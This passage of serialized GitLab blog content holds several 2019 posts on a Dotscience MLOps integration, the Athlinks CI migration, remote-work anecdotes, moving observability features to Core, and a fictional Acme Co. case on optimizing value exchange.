Code","en-us/blog/agile-for-developers-refactor-code.yml","en-us/blog/agile-for-developers-refactor-code",{"_path":25653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25654,"content":25660,"config":25665,"_id":25667,"_type":16,"title":25668,"_source":17,"_file":25669,"_stem":25670,"_extension":20},"/en-us/blog/dotscience-mlops-integration",{"title":25655,"description":25656,"ogTitle":25655,"ogDescription":25656,"noIndex":6,"ogImage":25657,"ogUrl":25658,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25658,"schema":25659},"Dotscience announces MLOps integration with GitLab","The combination of GitLab and Dotscience provides a fully integrated DevOps & MLOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680952/Blog/Hero%20Images/dotscience-gitlab.png","https://about.gitlab.com/blog/dotscience-mlops-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Dotscience announces MLOps integration with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Sterry, Dotscience\"}],\n        \"datePublished\": \"2019-12-18\",\n      }",{"title":25655,"description":25656,"authors":25661,"heroImage":25657,"date":25643,"body":25663,"category":299,"tags":25664},[25662],"Chris Sterry, Dotscience","\n\nToday, I am proud to announce our new partnership with GitLab and [Dotscience](https://dotscience.com). GitLab and Dotscience are passionate about bringing [DevOps tools](/topics/devops/) and processes to the AI/ML ecosystem with the goal of achieving MLOps. The combination of GitLab and Dotscience provides a fully integrated DevOps & MLOps platform by combining source repository, issue tracking, and continuous integration. Together we can offer a machine learning environment that provides the ability to build, train, deploy, monitor, reproduce data, code, and models, and collaborate on notebooks.\n\n## Dotscience and GitLab integration\n\nThe integration highlights include the following:\n\n* Combine Dotscience and GitLab to achieve a complete DevOps & MLOps platform\n* Apply the same merge request workflow you know and love in GitLab to AI & ML projects with [Jupyter](https://jupyter.org) Notebooks, data, parameters & metrics with Dotscience\n* Customize the Docker images you build in Dotscience by implementing the Docker build step of deploying an ML model to production as a GitLab repo, custom Dockerfile + build pipeline\n\n## Let’s see it in action\n\n[Luke Marsden](https://uk.linkedin.com/in/luke-marsden-71b3789) and I sat down with [Tina Sturgis](/company/team/#TinaS), manager of partner marketing at GitLab, and provided a little overview of the integration.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xIyoq6gnyEo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nReady to give it a spin? The easiest way to get started is to sign up for a free trial at Dotscience and read the integration [documentation](https://dotscience.com/partners/gitlab/).\n\nDotscience is also available on-prem, on AWS, Azure and Google Cloud, and in multi-cloud configurations.\n\nIf you have questions, please join our [Slack](https://join.slack.com/t/dotmesh-community/shared_invite/enQtMjU0NzczMTQ2MDgxLTY5MmMwZDdmZjVmOTQ3MjYxMjg3OGQwYzg5MTdiZDJmNTc3Y2I3ZWI2NTUzMGQxNTY3MDVlNTllOWJmNTE4NDQ) channel.\n",[267,232,736],{"slug":25666,"featured":6,"template":678},"dotscience-mlops-integration","content:en-us:blog:dotscience-mlops-integration.yml","Dotscience Mlops Integration","en-us/blog/dotscience-mlops-integration.yml","en-us/blog/dotscience-mlops-integration",{"_path":25672,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25673,"content":25678,"config":25683,"_id":25685,"_type":16,"title":25686,"_source":17,"_file":25687,"_stem":25688,"_extension":20},"/en-us/blog/athlinks-cuts-runtime-in-half-with-giltab",{"title":25674,"description":25675,"ogTitle":25674,"ogDescription":25675,"noIndex":6,"ogImage":11900,"ogUrl":25676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25676,"schema":25677},"Athlinks cuts runtime in half with GitLab","Athlinks, a time management solution platform, shares how moving from Jenkins to GitLab cut CI runtimes in half.","https://about.gitlab.com/blog/athlinks-cuts-runtime-in-half-with-giltab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Athlinks cuts runtime in half with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-12-17\",\n      }",{"title":25674,"description":25675,"authors":25679,"heroImage":11900,"date":25680,"body":25681,"category":813,"tags":25682},[24484],"2019-12-17","\nIf you’ve ever run a [Spartan race](https://www.spartan.com/en), then you’ve likely used Athlinks, the only suite of time management solutions for a variety of racing events. The [Athlinks](https://www.athlinks.com) platform includes race registration, timing, scoring, results -- everything from the check-in process to the orange wrist bands worn by participants. The solution stores over 300 million race results at any given time.\n\n## Athlinks previous DevOps tools run short\n\nThe Athlinks DevOps team previously had experience with several Agile planning tools, including Jira, Rally, and VersionOne. All of the tools they tried didn’t exactly fit what the team needed. They were looking for a tool that offers transparency and a voice for other parts of the business. “(We wanted) to give transparency and a voice to what engineering is working on so that other departments can have input into what is going on,” says Christopher Annannie, engineering manager, Athlinks.\n\n## Athlinks sprint to GitLab CI from Jenkins\n\nAthlinks started using GitLab CE in 2015, migrating over from GitHub. In January of 2018, the team adopted EE and after doing a GitLab CI proof of concept, they moved to Ultimate and away from [Jenkins](/blog/migrating-from-jenkins/). “We quickly discovered that we really wanted the full suite of tools for the Agile and the product side, so we went to GitLab Ultimate,” explains Aaron Rorvig, DevOps manager.\n\nThe group previously had about 300 jobs in Jenkins and now are at less than 40. “We use a wide variety of languages and technologies -- pretty much every operating system, both Android and iOS. We’re all over the place and we use GitLab CI for all of it,” Aaron says. The Athlinks team estimates a 50% savings across the board, both in code and in time spent running jobs.\n\n## A win for Athlinks collaboration and communication\n\nSince all of the issues, the code, and [CI pipelines](/blog/defend-cicd-security/) are inside of GitLab, it provides a single view from start to finish. Each team can view all the issues and the labeling helps everyone understand what stage each project is in, how much work has been done, and what the next steps are. “GitLab is not necessarily all that opinionated about how you do issue tracking,” Christopher says. Everything can be tracked, even when the teams don’t use the same issue tracking, it can all exist in one place.\n\nThe issue templates provide structure for the all departments to understand what they need to fill out. “Engineering will get to it quicker without so much back and forth before a problem is actually solved,” Christopher says.\n\nThe communication among the marketing, DevOps and engineering teams is improving. “We’re getting marketing involved in this so we get better about communicating all the new features we’ve deployed this month, so that timers, race directors, and athletes will actually know about the work we’re doing,” Christopher says.\n\nWant to learn more about Athlink’s transition from Jenkins to GitLab? Watch the presentation here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Dy_a79_PsNk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Ben Stern](https://unsplash.com/@benst287) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,2368,1899],{"slug":25684,"featured":6,"template":678},"athlinks-cuts-runtime-in-half-with-giltab","content:en-us:blog:athlinks-cuts-runtime-in-half-with-giltab.yml","Athlinks Cuts Runtime In Half With Giltab","en-us/blog/athlinks-cuts-runtime-in-half-with-giltab.yml","en-us/blog/athlinks-cuts-runtime-in-half-with-giltab",{"_path":25690,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25691,"content":25697,"config":25702,"_id":25704,"_type":16,"title":25705,"_source":17,"_file":25706,"_stem":25707,"_extension":20},"/en-us/blog/funny-gitlab-remote-meetings",{"title":25692,"description":25693,"ogTitle":25692,"ogDescription":25693,"noIndex":6,"ogImage":25694,"ogUrl":25695,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25695,"schema":25696},"Wild and crazy things that only happen to all-remote teams","Working remotely may make for a calmer commute but plenty of adventure awaits.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680938/Blog/Hero%20Images/joshua-tree-leap.jpg","https://about.gitlab.com/blog/funny-gitlab-remote-meetings","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wild and crazy things that only happen to all-remote teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25692,"description":25693,"authors":25698,"heroImage":25694,"date":25699,"body":25700,"category":6634,"tags":25701},[19653],"2019-12-16","\n\nGitLab has more than [1,000 team members](/company/team/) across 65 (and counting!) countries. Every employee works remotely, from wherever they're most comfortable, and we have no company offices. While that allows us all to avoid the headaches of [commuting](/company/culture/all-remote/#for-the-world), it doesn't mean that our days are boring. Far from it, actually.\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">&quot;It was just this mad scramble to turn off the camera.&quot; More people are working remotely, leading to videoconference call faux pas. \u003Ca href=\"https://t.co/NbdEeWxbGv\">https://t.co/NbdEeWxbGv\u003C/a>\u003C/p>&mdash; The Wall Street Journal (@WSJ) \u003Ca href=\"https://twitter.com/WSJ/status/1159505825016295424?ref_src=twsrc%5Etfw\">August 8, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n[Tim Zallmann](/company/team/#timzallmann), a director of engineering at GitLab, was recently featured in a [Wall Street Journal report](https://www.wsj.com/articles/why-are-you-shirtless-when-remote-video-calls-go-wrong-11565280525?mod=e2tw) highlighting comedic happenings for those who work remotely. We polled the entire company to see if they had any stories to share, and the answers came rolling in.\n\n### Surprise guests\n\n![Monkeys in meetings](https://about.gitlab.com/images/blogimages/monkey-airbnb.jpg){: .shadow.medium.center}\nMonkey in the meeting.\n{: .note.text-center}\n\n> I was work-traveling last year for 6 weeks with my wife and kid through South Africa. One day, I was in a video call at a new Airbnb. I had my headphones in when a monkey tried to get through the window behind me. In the middle of the call, I was casually informed that there was a monkey behind me... which resulted in me screaming quite loudly, realizing the monkey was already well on its way inside.\n– [Tim Zallmann](/company/team/#timzallmann), director of engineering, Dev\n\n> When food delivery arrives in the middle of a meeting, but you didn't order enough for everyone.\n– [Patrick Harlan](/company/team/#pharlan), technical account manager\n\n> It's great when kids decide to jump into a call. Lots of big eyes and cute little hand waves. They also tend to whisper frantically into their parents' ears. Toddlers are the best.\n– [Christie Lenneville](/company/team/#clenneville), director of UX\n\n> Our dogs talk to each other. If I am on computer audio and my dog hears a GitLabber dog barking, he joins in. Some people – who shall remain nameless – like to tease dogs with pretend barking to see if they can get them to bark. We have also had pets join us for coffee chats and visit with each other.\n– [Kimberly Lock](/company/team/#kimlock), customer reference manager\n\n### Serendipitous run-ins\n\n![GitLab team members meet up for a day at the zoo](https://about.gitlab.com/images/blogimages/gitlab-san-diego-zoo.jpg){: .shadow.medium.center}\nGitLab team members meet up for a day at the zoo.\n{: .note.text-center}\n\n> I love traveling somewhere and instantly finding friends. I recently took a road trip with my family down the coast of California and met a GitLab team member who joined for a walk to the San Diego Zoo. I'd never met him before, but felt like an instant friend with so much to talk about.\n– [Priyanka Sharma](/company/team/#pritianka), director of technical evangelism\n\n> Joining a video call and finding out the person you are meeting with lives in your city.\n– [Lee Matos](/company/team/#leematos), Support engineering manager, Americas East\n\n\n\n### Moments fantastic and funny\n\n![Virtual happy hour](https://about.gitlab.com/images/blogimages/team-group-call-gitlab.jpg){: .shadow.medium.center}\nVirtual happy hour.\n{: .note.text-center}\n\n> We do virtual Friday happy hours with the team. We get on a big group call and everyone brings their beverage of choice (water, tea, whatever) and just chats for a few minutes about what they're doing for the weekend, etc. Fun times where you can bond with you co-workers. Even our [CEO Sid](/company/team/#sytses) shows up to many of them!\n– [Tina Sturgis](/company/team/#t_sturgis), senior manager, partner and channel Marketing\n\n> I have an LED color-changing light that I use at the foot of the basement stairs so my kids know if they can come in or not. Red, yellow, and green lights let them know if I'm on a call or taking a break (or somewhere in between).\n– [Brendan O'Leary](/company/team/#olearycrew), senior solutions manager\n\n> Green screen usage is a must! Cape Town, Star Trek ships, or a beach in Hawaii – the backdrop options on video calls are endless.\n– [Priyanka Sharma](/company/team/#pritianka), director of technical evangelism\n\n> When someone on a video call says \"Alexa\" and everyone's Alexa wakes up.\n– [Brendan O'Leary](/company/team/#olearycrew), senior solutions manager\n\n### GitLab's approach to meetings\n\nWe [approach meetings differently](/company/culture/all-remote/meetings/) at GitLab. While one's appearance, surroundings, and background can be the source of great stress and anxiety when preparing for a video call, GitLab team members are encouraged to bring their whole selves to work. That means we celebrate unique surroundings and welcome appearances from family and pets.\n\nLearn more about our [all-remote culture](/company/culture/all-remote/). If you're interested in being featured in the next round of remote outtakes, browse our [vacancies](/jobs/) and apply!\n\nCover image by Kevin Oliver\n{: .note}\n",[7715,676,3798],{"slug":25703,"featured":6,"template":678},"funny-gitlab-remote-meetings","content:en-us:blog:funny-gitlab-remote-meetings.yml","Funny Gitlab Remote Meetings","en-us/blog/funny-gitlab-remote-meetings.yml","en-us/blog/funny-gitlab-remote-meetings",{"_path":25709,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25710,"content":25715,"config":25719,"_id":25721,"_type":16,"title":25722,"_source":17,"_file":25723,"_stem":25724,"_extension":20},"/en-us/blog/observability",{"title":25711,"description":25712,"ogTitle":25711,"ogDescription":25712,"noIndex":6,"ogImage":25486,"ogUrl":25713,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25713,"schema":25714},"We're moving our observability suite to Core","Our gift to you for 2020: Metrics, logging, and tracing and alerting are coming soon to Core!","https://about.gitlab.com/blog/observability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're moving our observability suite to Core\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25711,"description":25712,"authors":25716,"heroImage":25486,"date":25699,"body":25717,"category":813,"tags":25718},[17272],"\nHappy New Year to our developer community! We're moving a big portion of our [observability features](/blog/monitoring-team-update/) – custom metrics, logging, tracing and alerting – from our proprietary codebase to our open source codebase in 2020. We aim to complete this migration by early next year, and [you can follow along with our progress in this Epic](https://gitlab.com/groups/gitlab-org/-/epics/2310). While we're giving you the gift of 20/20 vision into your production environment as a thank you for all you've contributed, there are also three practical reasons as to why we're moving our observability suite to Core.\n\n## Why we're moving observability to Core\n\n### It's part of our stewardship model\n\nThe first reason being that it is our [stewardship](/company/stewardship/) mandate. Our product is open-core and our pricing model is transparent and buyer-based. A [buyer-based pricing model](/company/pricing/#the-likely-type-of-buyer-determines-what-features-go-in-what-tier) means we try to think about what type of buyer is going to get the most value out of a feature as we determine whether a feature belongs in our open source Core product or our paid versions of GitLab.\n\n\"If it's a feature for a single developer who might be working on his or her own individual project, we want that to be in Core because it invites more usage of those tools and we get great feedback in the form of new feature requests and developer contributions,\" says [Kenny Johnston](https://about.gitlab.com/company/team/#kencjohnston), director of product, [Ops](/direction/ops/) at GitLab. \"It's an important part of our product philosophy to ensure we keep developer focused features in our Core product.\"\n\n### Observability belongs in Core\n\nOur mission is to provide an end-to-end DevOps solution for developers that is also open source, and we were falling a bit short on the Ops side of things by keeping essential observability tools in a proprietary codebase.\n\n\"Before this move, If you were using Gitlab's open source version, you could attach a Kubernetes cluster and deploy applications to it, but then your ability to observe how your users are interacting with it in production was limited,\" says Kenny. \"Now, you can get out-of-the-box metrics, create customized ones, get access to log tailing and searching and see traces – all within GitLab. Those were all non-existent in Core previously.\"\n\nThe fact is, the three pillars of observability: [custom metrics](/direction/monitor/platform-insights/), [logging](/direction/monitor/#logging), and [tracing and alerting](/direction/monitor/platform-insights/), are fundamental to the complete DevOps lifecycle even for those single developers working on their own projects. That means they belong in our Core product.\n\n### We want your input on monitoring\n\nThe third reason is that we value your contributions, and we're hoping that by making our observability tools open source you will make valuable improvements to the code so that other developers can benefit from your insight. This is the gift you offer us every day, and so now we have a wishlist for you.\n\n## The three pillars of observability are on our wish list\n\n### Custom metrics\n\nGitLab has a strong integration with Prometheus that allows users like you to [monitor key metrics for applications](/direction/monitor/platform-insights/) deployed on Kubernetes or a different [Prometheus server](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#manual-configuration-of-prometheus), without ever leaving our interface. Common reporting metrics include system metrics such as memory consumption, as well as error and latency rates. GitLab will automatically detect certain metrics from our metrics library, and you can customize these metrics based on your needs.\n\nBut there is always room for improvement. If you see something that you think needs improvement with metrics, or any of our observability features, please submit an issue or a merge request, or even contribute changes to our open source codebase.\n\n### Logging\n\nYou can see [logs of running pods on your Kubernetes clusters](https://docs.gitlab.com/ee/user/clusters/agent/index.html), without the hassle of having to toggle between applications, since logging is integrated within GitLab. But our [current logging capabilities](/direction/monitor/platform-insights/) are best described as log tailing. Users can see what is essentially a live stream of their logs within GitLab. Is our log tailing providing enough observability into the health of your deployed Kubernetes clusters? We're hoping you can help us innovate new ways to make our logging tools more valuable.\n\n\"I would love to have more insight into how users want to interact with [logging], if log tailing is sufficient, how much they want to move back and forth,\" says Kenny. \"Some of those contributions can come in the form of commentary or issues being created, but people could also take it upon themselves to adjust that view so that is better suited to their needs when tailing a log.\"\n\n### Tracing and alerting\n\nWhile there are certain metrics that are commonly reported about a deployed application — such as how much CPU is being consumed, the speed to process a request, etc., [tracing](https://docs.gitlab.com/ee/operations/tracing.html) allows you to monitor deployed applications in more depth and be alerted to any issues with the performance or health of the application. But, like logging, our [tracing and alerting capabilities are in the earliest stages](/direction/monitor/platform-insights/).\n\n\"Today, our tracing is fairly minimal,\" says Kenny. \"We have an embedded UI for Jaeger, but we'd love to see contribution from members of the Jaeger community for more deep integration into GitLab. Maybe developers and operators who use GitLab would like to see more of the Jaeger UI experience directly in GitLab.\"\n\nOur alerting capabilities are also a bit clunky. You have to define it directly in the UI and code configuration. By better uniting our tracing integration with Jaeger with our alerting capabilities, we could create a more synchronized user experience.\n\n## Closing the DevOps loop\n\nIn order for GitLab to function as an end-to-end DevOps solution, our users must be able to apply our ticketing system all the way from issue to production.\n\n\"I'm really interested in the use case where people are creating issues for alerting when something goes wrong with their production environments, and then how they interact with observability information in the incident management issue itself,\" explains Kenny.\n\nPerhaps you need an issue template for incidents that will show a particular log line. Or there might be a custom metric that is so commonly used, it ought to be added to our metrics library.\n\n\"If you don't like the way that your alerting is set up, or you don't like the way that your log system is aggregated we'd love your contributions. If you don't like how metric charts, logs or traces are displayed in fire-fighting issues we'd love your contributions. GitLab is open source. You can contribute improvements to your observability tool just like you can the rest of your developer platform,\" says Kenny.\n\nSo go for it!\n\nThe three pillars of observability on GitLab are ripe for iteration, and there is still so much creative potential for each of these tools. We look forward to seeing what you come up with in 2020!\n",[815,676],{"slug":25720,"featured":6,"template":678},"observability","content:en-us:blog:observability.yml","Observability","en-us/blog/observability.yml","en-us/blog/observability",{"_path":25726,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25727,"content":25733,"config":25737,"_id":25739,"_type":16,"title":25740,"_source":17,"_file":25741,"_stem":25742,"_extension":20},"/en-us/blog/optimizing-the-value-exchange-a-gentle-introduction",{"title":25728,"description":25729,"ogTitle":25728,"ogDescription":25729,"noIndex":6,"ogImage":25730,"ogUrl":25731,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25731,"schema":25732},"How to optimize your value exchange system","Part one of a pragmatic, business-driven guide to help teams transition from fixating on output to optimizing the value exchange with their customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672701/Blog/Hero%20Images/post-1-cover.jpg","https://about.gitlab.com/blog/optimizing-the-value-exchange-a-gentle-introduction","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to optimize your value exchange system\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabe Weaver\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25728,"description":25729,"authors":25734,"heroImage":25730,"date":25699,"body":25735,"category":18484,"tags":25736},[4941],"*Reading time: 8 minutes, 28 seconds*\n\n## The problem \n\nBuilding software products is **really** hard. Building an enduring company is even harder. We are constantly looking to [hire](https://www.christenseninstitute.org/jobs-to-be-done/) solutions to help us do this quickly and with as little risk as possible. Companies hire Agile ([R.I.P](https://pragdave.me/blog/time-to-kill-agile.html)) because they believe it will help them be more adaptable, increase productivity, and accelerate software delivery. They hire DevOps as a natural companion to increase speed, reduce defects, safely deploy code, and improve the resilience of infrastructures. \n\nWhile these solutions are directionally correct, we have a long way to go:\n\n- Software failures cost the U.S. economy over [$1t annually](https://www.cloudcomputing-news.net/news/2017/oct/30/glitch-economy-counting-cost-software-failures/).\n- Only 56% of startups [make it to their fourth year](https://smallbiztrends.com/2019/03/startup-statistics-small-business.html).\n- [~40%](https://newproductsuccess.org/new-product-failure-rates-2013-jpim-30-pp-976-979/) of new products fail.\n- Only [6% of teams](https://www.stateofagile.com/#ufh-i-521251909-13th-annual-state-of-agile-report/473508) report that Agile (long live agility) practices are enabling greater adaptability to changing market conditions.\n\nTo get better, we need to fundamentally shift the way we approach building software products and companies. Through a fictitious story about a company called Acme Co., I'm going to provide a pragmatic, business-driven approach of how we can get there. The first step is to change how we define success. We need to move from **output to outcomes**. \n\n## The basics of the value exchange system\n\nI've worked with a lot of companies over the years. Most of them measure the success of product teams by how much they ship. In [Escaping The Build Trap](https://melissaperri.com/book), Melissa Perri correctly identifies the problem with this and the root cause -- companies misunderstand value. As she succinctly describes in her book:\n\n> Instead of associating value with the outcomes they want to create for their businesses and customers, they measure value by the number of things they produce. Let’s go back to the basics to determine what true value is. Fundamentally, companies operate on a value exchange. \n\nShe uses a simple diagram to illustrate the value exchange system:\n\n\u003Cbr>\n![A Simplified Value Exchange System Diagram](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/value-exchange-simple-diagram.png)\n\n\u003Cbr>\nCompanies build products to serve as vehicles for value delivery. When the customer's problems, needs, and wants are fulfilled, they provide value back to the business. Business value is easy to define, as it typically maps to achieving traditional objectives that are universal to all companies:\n\n- **Sustainable Value:** Support the product's core value and create barriers to competition.\n- **Growth:** Grow market share, fulfill more demand, develop new markets, and improve recurring revenue.\n- **Profit:** Support higher prices, improve lifetime value, lower costs, and leverage existing assets.\n\nWhile these are easily measurable, customer value is often more intangible; making it difficult to define and correlate to business objectives. This leads companies to create proxies to represent value that are more straightforward to comprehend and measure -- such as things shipped.\n\nAs we discussed earlier, companies hire solutions like Agile (long live agility) and DevOps because they want to increase the speed and productivity of their value delivery system. The Value Exchange System is a [reinforcing loop](https://thesystemsthinker.com/reinforcing-and-balancing-loops-building-blocks-of-dynamic-systems/), so it naturally follows that if you increase the speed at which you deliver value, you will, therefore, increase the amount of value you capture from your customers. Companies are so fixated on optimizing for speed that a whole market of productivity analytics is emerging to track and report it. For example, the hook on the landing page of a prominent tool on the market promises to help you \"measure your team's success\" by surfacing velocity data to see how fast your team is going. \n\nWhile speed and productivity are good things, optimizing for them in a silo will have a minimal overall impact on increasing the positive reinforcement to the system. This is because output does not necessarily result in outcomes. We need to optimize both how we deliver _and_ capture value. To better understand why, let's jump into an all so common dilemma Acme is currently trying to overcome.\n\n## Let's Meet Acme Co.\n\n> “Bounded rationality means that people make quite reasonable decisions based on the information they have. But they don’t have perfect information, especially about more distant parts of the system.” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nAcme is a tech company that provides IoT devices and AI-driven insights to help logistics companies improve the efficiency of their operations. Acme has seen remarkable success over the last several years by leveraging a common growth strategy of steadily increasing investment in R&D, marketing, and selling to capture market share as quickly as possible. While not yet profitable, they believe there is an imminent inflection point where their investment in R&D will begin to pay off, resulting in revenue growth disproportionate to operating expenses. This has been playing out as expected, but the executive team is starting to get concerned given some financial trends over the last few quarters. \n\n| | Q1 | Q2 | Q3 | Q4 |\n| --- | --- | --- | --- | --- |\n| Revenue | 36.7 | 44.0 | 48.4 | 50.9 |\n| COGS | 2.2 | 4.0 | 4.8 | 4.6 |\n| **Net Sales** | **34.5** | **40.1** | **43.6** | **46.3** |\n| *Margin* | *94%* | *91%* | *90%* | *91%* |\n|  |  |  |  |  |\n| R&D | 16.5 | 18.3 | 20.3 | 22.7 |\n| Marketing | 4.1 | 5.2 | 6.6 | 7.4 |\n| Sales | 15.0 | 17.8 | 19.9 | 21.2 |\n| G&A | 1.6 | 2.1 | 2.3 | 2.9 |\n| **Total OpEx** | **37.2** | **43.4** | **49.1** | **54.2** |\n| |  |  |  |  |\n| **Net Profit** | **-2.7** | **-3.3** | **-5.5** | **-7.9** |\n| *Profit Margin* | *-7%* | *-8%* | *-11%* | *-16%* |\n\nAcme's board set a -20% acceptable risk threshold for the net profit margin. It believes, that if necessary, it will be able to quickly reduce the deficit through strategic cost-cutting measures. It's clear from the financials that the company is on course to hit the threshold and the executives are scrambling to understand why. They have been easily converting customers from their competitors and are nowhere close to saturating their addressable market. They are investing heavily in delivering new product capabilities and scaling the sales organization to capture the value in return. The executive team decides to create a dedicated cross-functional working group to investigate and solve the problem. \n\n## Practicing kaizen with the improvement kata\n\nThe challenge before the working group is daunting. Acme is an incredibly complex system with hundreds of people and moving parts. They decide to adopt a management processes from the Toyota Product System developed by Taiichi Ohno. The group reviews what it means to practice continuous improvement - [kaizen](https://en.wikipedia.org/wiki/Kaizen) - by employing a technique called the Improvement Kata.\n\n![Diagram of the Improvement Kata](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/toyota-kata.png){: .center}\n\nThe first thing the group needs to decide is which direction to focus on first. If the challenge is to increase profits, that could be accomplished in a few different ways - increase the growth rate of revenue or decrease operating expenses. Looking at the financials, revenue growth has declined from an average of 20% per quarter to only 5% in the most recent. Given Acme has a sizeable market left to capture, and decreasing R&D spend at this point could hurt their long term growth targets, the group sets a target condition of getting revenue growth back to 10%. This feels like an obtainable goal within the quarter and will demonstrate forward progress to the executives.\n\nWith a target condition in hand, their next task is to identify the root cause of the decline in revenue growth and conduct experiments to reach their goal. They set out to connect with the sales team to begin their investigation. \n\n##  Why is revenue growth declining?\n\nAs the working group sits down with the sales team to review numbers, they use the [5 why's](https://medium.com/productmanagement101/learn-about-the-five-whys-technique-78283d75800f) to try to understand where things are going wrong:\n\n- **Why is revenue growth declining?** The sales team shares that conversion rates from new revenue are holding steady, but their conversion rates from up-sells have fallen dramatically.\n- **Why are up-sells declining?** According to the sales team, Acme is not delivering capabilities fast enough that it had promised during the sales cycle.\n- **Why did the sales team set expectations for capabilities that weren't built yet?** The sales team explained that enterprise customers have complex needs that aren't supported in Acme's core product capabilities yet. To keep up with sales quotas, they found that walking prospects through Acme's product roadmap usually gets the deal over the line. Based on the roadmap and the planned release dates, they had not seen this as a risk because things were expected to be delivered within the customer's acceptable time ranges. \n- **Why weren't things delivered within the customer's acceptable time range?** In further discussions, the sales team reveals that they feel R&D is delivering new features at an increasingly slower rate quarter over quarter.\n- **Why is R&D slowing down on value delivery?** At first glance, R&D's output metrics are consistent month-over-month relative to headcount. While the sales team helped the working group see that lost opportunities in up-sells were driving lower growth rates; it didn't make sense. The group decides to head over to R&D to better understand the value delivery system.\n\n## The importance of measuring the value delivery stream\n\nTo prepare for collaborating with the R&D team, the working group spends a few minutes reviewing the team's productivity metrics. To the surprise of the group, R&D only has one primary metric everyone on the team tracks consistently - the count of work items delivered. As the working group starts discussions with R&D, they explain that the executives set output objectives as a means of measuring the team's success. The rationale for this was due to the way the product is bundled and priced. The categories all roll up into one pricing model and it was difficult for the finance team to figure out a way to attribute revenue to the various categories. They had ultimately decided that measuring productivity was the next best thing.    \n\nSo if work item output is the goal and R&D's output has been consistent quarter over quarter, why was the sales team convinced R&D was slowing down on value delivery? To understand this, the working group needed to better understand the flow of items through the value delivery process within the Value Exchange System. To do this, they generated a simplified value stream map to visualize the stages a work item goes through as it is converted from requirements to a production feature.  \n\n\u003Cbr>\n\n![Acme's Value Stream Map](https://about.gitlab.com/images/blogimages/optimizing-the-value-exchange/d1.png){: .center}\n\n_Acme's Value Stream Map. Cycle Time = Time in queue + active time + time waiting once started_\n\nThe value stream map reveals that the total lead time for a work item is 2,132 hours (88 days). This is an astonishing revelation to the working group; especially since they didn't include the time a work item spends waiting between when a customer requests a feature and the team starts the planning process. Even though the R&D team delivered ~3,100 work items last month, it took well over three months to satisfy customer requests. The working group needs to collect more data, but they know they are on the right track. Before synthesizing a hypothesis, they finish collecting additional historical metrics to confirm their suspicions. \n\n| | Q1 | Q2 | Q3 | Q4 |\n| --- | --- | --- | --- | --- |\n| Items Delivered | 2,275 | 2,524 | 2,800 | 3,131 |\n| Lead Time | 31 | 52 | 69 | 88 |\n| Cost Per Item Delivered | 7,250 | 7,250 | 7,250 | 7,250 |\n\nBased on the data, the working group notices the strong correlation between the increase in lead time and the decrease in up-sell revenue growth. Given their target condition for the upcoming quarter, they create the following hypothesis: \n\n> Decreasing the lead time by ~35% will enable customer requests to be completed 18 days earlier, resulting in a 5% increase in revenue growth\n\nWith a falsifiable hypothesis in hand, they shift their attention to figuring out the best approach for running an experiment. \n\nContinue reading:\n\n- Part 1: A Gentle(ish) Introduction\n- Part 2 (Next): [Reduce Waste To Increase Flow](/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow/\n)\n- Part 3: [The Compounding Value Of Shorter Feedback Loops](/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops/)\n\n ***Giving credit where it is due:** In [Escaping The Build Trap](https://www.oreilly.com/library/view/escaping-the-build/9781491973783/ch01.html), Melissa Perri discusses the Value Exchange System at length and provides unparalleled wisdom for modern-day product managers. The Improvement Kata, Kanban, and Toyota Production System would not exist today if it weren't for Taiichi Ohno. His work has been foundational to many other systems and processes that have evolved over the years.* \n\nCover Photo by Cristina Gottardi on 